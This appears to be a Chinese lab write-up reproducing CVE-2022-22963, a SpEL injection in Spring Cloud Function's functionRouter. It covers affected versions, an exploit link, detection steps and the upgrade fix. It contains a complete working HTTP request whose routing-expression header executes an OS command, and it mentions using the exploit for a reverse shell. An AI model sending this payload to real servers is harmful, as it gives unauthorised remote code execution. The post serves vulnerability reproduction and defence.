CVE-2022-22963 Spring Cloud Function functionRouter SPEL命令执行漏洞复现
漏洞简述
Spring Cloud Function是基于 Spring Boot 的函数框架。由于 Spring Cloud Function 对用户输入的参数安全处理不严,未授权的攻击者可构造特定的数据包,通过特定的 HTTP 请求头进行 SpEL 表达式注入攻击,从而可执行任意的恶意 Java 代码,获取服务权限。
漏洞影响版本
- 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
- Spring Cloud Function <= 3.2.2
漏洞exp
https://github.com/k3rwin/spring-cloud-function-rce
漏洞环境搭建
使用vulhub进行复现。

漏洞复现
在请求头的spring.cloud.function.routing-expression
头中包含的SpEL表达式将会被执行。
POST /functionRouter HTTP/1.1 Host: vul.zgao.top:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") Content-Type: text/plain Content-Length: 4 test

命令执行成功。

使用上面的exp的进行反弹shell。

溯源排查
若程序使用Maven打包,可排查项目的pom.xml文件中是否引入spring-cloud-function相关组件。
grep -C2 'spring-cloud-function-context' pom.xml
这里用的docker logs 的日志。排查关键词:functionRouter

修复方式
升级Spring Cloud Function至 3.1.7 或 3.2.3 及其以上。
赞赏微信赞赏
支付宝赞赏
发表评论